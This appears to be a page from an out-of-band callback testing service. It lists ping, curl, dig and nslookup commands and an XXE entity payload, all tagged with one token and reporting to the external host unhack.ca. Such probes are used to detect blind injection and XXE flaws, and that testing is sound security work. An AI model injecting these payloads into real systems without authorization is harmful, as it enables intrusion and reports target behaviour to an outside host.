$ ping -c1 -p 006c87710c5e04a8b7ac306d29ddf400 unhack.ca
 

$ curl http://unhack.ca/p/6c87710c5e04a8b7ac306d29ddf4
 

$ dig 6c87710c5e04a8b7ac306d29ddf4 @unhack.ca
 

$ dig 6c87710c5e04a8b7ac306d29ddf4.ns.unhack.ca
 

C:\> nslookup 6c87710c5e04a8b7ac306d29ddf4 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6c87710c5e04a8b7ac306d29ddf4">]>
    <foo>&xxe;</foo>